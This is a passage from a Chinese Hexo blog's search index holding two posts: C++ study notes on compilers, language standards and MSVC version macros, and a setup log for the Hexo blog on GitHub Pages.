iter;这条语句定义了一个名为iter的变量,它的数据类型是由vector定义的iterator类型。list::iterator iter1;这条语句定义了一个名为iter1的变量,它的数据类型是由list定义的iterator类型。wiki对容器的介绍) C++ 的可移植性和跨平台开发https://msdn.microsoft.com/zh-cn/library/dn707591.aspxhttps://program-think.blogspot.com/2009/01/cxx-cross-platform-develop-0-overview.html google c++ 编程规范http://google.github.io/styleguide/cppguide.html 预编译 1234预编译又称为预处理,是做些代码文本的替换工作。处理#开头的指令,比如拷贝#include包含的文件代码,#define宏定义的替换,条件编译等就是为编译做的预备工作的阶段主要处理#开始的预编译指令 不同的编译器以及不同的语言标准gcc wikignu c compiler,因为它原本只能处理C语言。GCC很快地扩展,变得可处理C++。之后也变得可处理Fortran、Pascal、Objective-C、Java、Ada,以及Go与其他语言。 使用g++ 编译的时候,可以使用c++的标准库,使用gcc命令编译的时候,可以使用c的标准库。stackoverflow link 还有一个编译器不得不说,那就是clang,他一个C、C++、Objective-C和Objective-C++编程语言的编译器前端。他的出现目的是替代GCC,是在苹果公司的赞助支持下开发的。测试证明Clang编译Objective-C代码时速度为GCC的3倍[4],还能针对用户发生的编译错误准确地给出建议. 类类型与结构体类型相似,结构体类型也可以有函数成员,主要区别在于,类类型的默认访问权限是private,结构体类型的缺省访问权限是public。类的数据成员和函数成员分别描述该类实体的属性和行为。即这个实体有什么属性,它有什么样的行为。对象也是一种变量,是一种类类型的变量。对于已声明的类,可以使用它来定义变量。在建立对象时,只为对象分配用于保存数据成员的内存空间,而类中定义的成员函数的代码被放在计算机内存的一个公共区中,并供该类的所有对象共享,这是c++实现对象的一种方法。逻辑上,仍将每一个对象理解为由独立的数据成员和各自的成员函数组成。 结构体指针 struct stu *pstu = &stu1; ::在c++中是作用域符号。 c和c++ 不同的标准可见,c++的标准有c++98,c++11,c++14,c++17,c++后面对应的数字是年份的意思c语言的标准有c90,c99,以及c11,可见最新的c标准是c11.关于他们之前的差异。关于c11和c99的区别)关于c++各个版本之前的区别高速上手 C++ 11/14vc6.0与标准C++ISO cpp c++ 第三方库c++准标准库boostgoogle 的c++基础库 abseil 多线程c程序https://msdn.microsoft.com/zh-cn/library/esszf9hw.aspxhttp://zh.highscore.de/cpp/boost/multithreading.html c语言的json操作库https://github.com/akheron/jansson使用boost操作json c/c++ 内存泄露及检测http://www.cnblogs.com/skynet/archive/2011/02/20/1959162.html const关键字的使用方法http://www.cnblogs.com/jiabei521/p/3335676.html 关于msvc的介绍https://www.wikiwand.com/zh-hans/Microsoft_Visual_C%2B%2B 123456789101112131415161718MSVC++ 14.1 _MSC_VER == 1911 (Visual Studio 2017)MSVC++ 14.1 _MSC_VER == 1910 (Visual Studio 2017)MSVC++ 14.0 _MSC_VER == 1900 (Visual Studio 2015)MSVC++ 12.0 _MSC_VER == 1800 (Visual Studio 2013)MSVC++ 11.0 _MSC_VER == 1700 (Visual Studio 2012)MSVC++ 10.0 _MSC_VER == 1600 (Visual Studio 2010)MSVC++ 9.0 _MSC_FULL_VER == 150030729 (Visual Studio 2008, SP1)MSVC++ 9.0 _MSC_VER == 1500 (Visual Studio 2008)MSVC++ 8.0 _MSC_VER == 1400 (Visual Studio 2005)MSVC++ 7.1 _MSC_VER == 1310 (Visual Studio 2003)MSVC++ 7.0 _MSC_VER == 1300MSVC++ 6.0 _MSC_VER == 1200MSVC++ 5.0 _MSC_VER == 1100打印版本 msvc#ifdef _MSC_VER cout << _MSC_VER << endl;#endif VS的调试技巧https://blogs.msdn.microsoft.com/c/2016/09/19/visual-studio-c%E8%B0%83%E8%AF%95%E6%8A%80%E5%B7%A7%E5%92%8C%E7%AA%8D%E9%97%A8/ 检测变量类型的方法 typeinfo 头http://www.cplusplus.com/forum/general/21246/小结 相对于其它脚本语言python、php啥的,c++的语法稍有些复杂,尤其是在windows下进行c++开发的时候,一开始一大堆的宏定义就小白们搞懵了。如果要写c++入门建议还是学linux下的c++,等学差不多了,再切换windows相对来说就容易一些了。 c++较写脚本语言开发感觉还是会慢一点,脚本语言不用编译,c++每次修改一点儿,都要重新编译和链接,而且工程越大,时间就越长。]]></content>
</entry>
<entry>
<title><![CDATA[hello-world]]></title>
<url>%2F2017%2F04%2F28%2Fhello-world%2F</url>
<content type="text"><![CDATA[new blog 旧的博客 博客园可能以后不会再更新 旧博客地址:http://www.cnblogs.com/mrchang/ 新博客搭建参考http://gonghonglou.com/2016/02/03/firstblog/http://thief.one/2017/03/03/Hexo%E6%90%AD%E5%BB%BA%E5%8D%9A%E5%AE%A2%E6%95%99%E7%A8%8B/hexo的分享功能中大部分插件不支持https这很蛋疼,有时间再折腾。更新:已通过https://brightloong.github.io/2017/02/26/Hexo-Github%E6%90%AD%E5%BB%BA%E4%B8%AA%E4%BA%BA%E5%8D%9A%E5%AE%A2-%E4%B8%89-%E2%80%94%E2%80%94%E7%99%BE%E5%BA%A6%E5%88%86%E4%BA%AB%E9%9B%86%E6%88%90/添加文章阅读量http://www.jeyzhang.com/hexo-next-add-post-views.html阅读量bughttps://leaferx.online/2018/02/11/lc-security/添加了分享和评论功能http://www.jianshu.com/p/276d10de413ehttp://theme-next.iissnan.com/third-party-services.htmlhexo 右边侧栏默认展示: 这里搭建此博客的目的主要记录一下日常工作和学习中看到的一些安全动态消息。 添加一个网页背景效果。 12可以在public/tags/index.html 中添加如下的代码<script type="text/javascript" color="0,0,255" opacity='0.7' zIndex="-2" count="99" src="https://kevien.github.io/static/api/js/canvas-nest.min.js"></script> Gitment:使用 GitHub Issues 搭建评论系统https://imsun.net/posts/gitment-introduction/ Hexo 添加robots.txthttp://larrynung.github.io/2016/07/18/Hexo-Setup-robots-txt/ Hexo–Next主题优化https://blog.csdn.net/heqiangflytosky/article/details/54863185 修改字体颜色https://github.com/iissnan/hexo-theme-next/issues/98 修改字体颜色修改文件 post-title.styl 修改首页展示https://neveryu.github.io/2017/07/15/hexo-next-five/ 站内搜索https://zty.js.org/post/2016/07/08/hexo-localsearch.html 优化hexo速度 hexo默认会加载google字体 导致整个网页加载很难 体验很差 https://jpanj.com/2017/%E4%BC%98%E5%8C%96blog%E9%80%9F%E5%BA%A6/ github密码失效&hexo d失败搭建完成后常用命令发表一篇文章1$ hexo new "My New Post" mac上使用可以使用mweb工具进行md文件编辑1在/source/_posts 目录下面找到对应md文件编辑 发布hexo cleanhexo g generatehexo d deployhexo s //本地搭建测试,这个非常有用,可以在本地写好之后做测试(修改内容实时生效),没问题之后再deploy到github上。 常见问题 2022-04-10_update 最近换了电脑写博客,去部署的时候发现并没有成功,一步步来排查问题,首先是看是否是上传成功,发现能上传成功到github上,就有点儿诡异,搜索引擎搜索一番发现有人遇到过同样的问题,说是github之前默认的branch是master,后来github的默认分支改成main了,自己去看了下自己的仓库,发现自己确实是有两个分支,那么进入到settings里面修改一下pages的默认分支为main,但是发现还是不行,就更诡异了,搜索引擎也没找到问题所在,但是发现了github有个actions(自动化构建)的东西,点开项目的actions发现了异常 显示queued,大意就是在排队中,emmm原来问题出在了这里,这里我又搜索了一下啥回答都有,我在这里重启了这个任务,然后成功解决了问题。。 为啥最近更新了呢,是因为受到了鼓励(收到了赞赏):D,那么想想以后还是多输出一些优质的内容给大家,希望能帮到更多的技术爱好者。markdown 语法 加粗使用双下滑线 空格使用 &nbsp分号 删除线 双波浪线 添加超链接Google1[Google](http://www.google.com/)]]></content>
</entry>
</search>